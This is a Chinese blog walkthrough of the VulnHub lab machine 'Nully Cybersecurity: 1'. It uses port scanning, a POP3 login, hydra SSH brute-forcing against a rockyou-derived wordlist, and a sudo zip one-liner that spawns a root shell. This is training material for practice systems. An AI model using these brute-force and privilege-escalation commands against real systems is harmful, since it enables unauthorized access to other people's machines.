VulnHub渗透测试实战靶场 - NULLY CYBERSECURITY: 1

该博客详细介绍了如何在VulnHub上搭建并渗透测试NULLYCYBERSECURITY:1靶机。首先,通过Nmap扫描和Dirb工具发现开放端口与Web目录,接着利用Pop3服务获取登录凭证。然后使用Hydra进行SSH爆破,成功获取shell。最后,通过提权技巧,利用zip命令获得root权限。整个过程涉及信息搜集、漏洞挖掘和权限提升等多个环节。
摘要由CSDN通过智能技术生成

题目描述

Nully Cybersecurity - this is an easy-intermediate realistic machine.
While working with the machine, you will need to brute force, pivoting (using metasploit, via portfwd), exploitation web app, and using searchsploit.
About: Wait 5-8 minutes before starting for the machine to start its services. Also, check the welcome page on port 80.
Hints: 'cat rockyou.txt | grep bobby > wordlist' for generating wordlist.
Story: You are a Professional White Hat. Small company Nully Cybersecurity hired you to conduct a security test of their internal corporate systems.
Feedback. https://twitter.com/laf3r_
Difficulty: Easy-intermediate
This works better with VirtualBox rather than VMware

环境下载

NULLY CYBERSECURITY: 1靶机搭建

  1. 将下载好的靶机环境,导入 VritualBox,设置为 Host-Only 模式
  2. 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only
  • 目标靶机的 IP 地址为:192.168.56.109
  • 攻击机的 IP 地址为:192.168.56.102

渗透测试

信息搜集

用 Nmap 扫描一下目标靶机的端口信息:sudo nmap -sS -A -Pn 192.168.56.109,发现开放了 80、110、2222、8000、9000 五个端口

用 dirb 扫描一下 80 端口 web 目录:dirb http://192.168.56.109

漏洞挖掘

  • 查看 80 端口页面的源码,发现注释中提示 Dont attack this port,并提示登录 110 端口查看邮件服务器
  • 利用 pop3 端口登录 mail server
telnet 192.168.56.109 110
user pentester
pass qKnGByeaeQJWTjj2efHxst7Hu0xHADGO
list
retr 1
  • 根据提示先制作用户名列表和密码列表
    1. 用户名列表
bob
bobby
Bob
BOB
Bobby
BOBBY
    1. 密码列表
cat rockyou.txt| grep bobby > bobby.txt

getshwll

  • 利用 hydra 爆破用户名和密码,得到用户名和密码为 bob:bobby1985
hydra -L user.txt -P bobby.txt -f -V ssh://192.168.56.109:2222
  • 连接 ssh,成功拿到 shell

提权

  • 执行 sudo -l 命令,发现 my2user 用户可以运行 check.sh 来切换用户
  • check.sh 中添加命令 whoami、/usr/bin/ftp
  • 运行 check.sh 脚本,成功执行插入的命令
  • 执行 sudo -l 命令,发现 my2user 用户可以在没有密码的情况下以 root 身份运行 zip
sudo zip $(mktemp -u) /etc/hosts -T -TT 'sh #'
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值